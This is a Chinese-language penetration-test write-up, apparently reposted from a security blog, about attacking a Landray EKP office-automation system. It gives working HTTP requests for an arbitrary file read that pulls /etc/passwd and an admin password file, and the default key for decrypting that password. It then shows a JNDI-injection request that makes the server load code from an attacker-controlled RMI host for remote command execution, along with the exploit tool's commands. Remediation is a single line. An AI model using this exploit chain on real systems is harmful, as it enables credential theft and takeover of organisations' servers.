记一次密码读取+SSRF渗透测试

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:先知社区

原文地址:https://xz.aliyun.com/t/9950


0x01 背景

记一次授权的渗透测试,目标网站使用了某凌OA(EKP)办公系统,版本存在任意文件读取和SSRF+JNDI远程命令执行安全缺陷,本文仅对这方面做相关描述,针对此网站系统进行的信息收集覆盖面和其他测试小工具就不再赘述了... 【旺柴】——手动狗头,厚码见谅,大佬轻喷~

0x02 概述

系统存在任意文件读取漏洞,攻击者可利用该漏洞读取管理员密码配置文件或读取系统其他敏感文件,获取加密口令后可通过默认key对密码进行解密,从而登入系统配置管理后台,携带登入后台的Cookie可利用SSRF漏洞进行远程命令执行操作。


0x03 任意文件读取

漏洞位置在/sys/ui/extend/varkind/custom.jsp,也就是在custom.jsp这个页面;

  • 请求方法为POST;

  • 请求包&Payload如下:


读取/etc/passwd文件

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: Content-Type: application/x-www-form-urlencodedCookie: Connection: closeContent-Length: 42
var={"body":{"file":"file:///etc/passwd"}}

记一次密码读取+SSRF渗透测试


读取/WEB-INF/KmssConfig/admin.properties配置文件,获取管理员加密口令

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: Content-Type: application/x-www-form-urlencodedCookie: Connection: closeContent-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
记一次密码读取+SSRF渗透测试


0x04 任意文件读取POC

记一次密码读取+SSRF渗透测试

记一次密码读取+SSRF渗透测试

0x05 SSRF+JNDI远程命令执行

利用漏洞读取/WEB-INF/KmssConfig/admin.properties配置文件,使用默认密钥对密码进行解密

  • 模式:ECB

  • 填充:ZeroPadding

  • 偏移量:ECB模式不需要

  • 默认密钥:kmssAdminkey

记一次密码读取+SSRF渗透测试


得到明文密码后,访问/amdin.do系统配置管理后台进行登入操作;JNDI的远程命令执行,需要配合后台密码进行执行;没有密码,即使有SSRF的读取也是没有用处的,因为Web系统可能更改了默认安装的路径,导致读取不到

记一次密码读取+SSRF渗透测试
记一次密码读取+SSRF渗透测试


成功登入后,使用JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可执行程序为jar包,在命令行中运行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [IP]
其中:
 -C - 远程class文件中要执行的命令。  (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app" -A - 服务器地址,可以是IP地址或者域名。  (可选项 , 默认地址是第一个网卡地址)


注意:要确保109913898180端口可用,不被其他程序占用。


工具获取:源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git$ cd JNDI-Injection-Exploit$ mvn clean package -DskipTests


运行工具监听端口,进行ping dnslog测试

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "xxx.xxx.xxx.xxx"

记一次密码读取+SSRF渗透测试

POST /admin.do HTTP/1.1Host: Content-Length: 68Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: Connection: close
method=config&datasource=rmi://xxx.xxx.xxx.xxx:1099/zosci3
记一次密码读取+SSRF渗透测试


0x06 漏洞修复建议

目前厂商已提供相关漏洞补丁链接,请关注厂商主页随时更新。




关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读




记一次密码读取+SSRF渗透测试
记一次密码读取+SSRF渗透测试
记一次密码读取+SSRF渗透测试

欢 迎 私 下 骚 扰



记一次密码读取+SSRF渗透测试

本文始发于微信公众号(潇湘信安):记一次密码读取+SSRF渗透测试

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: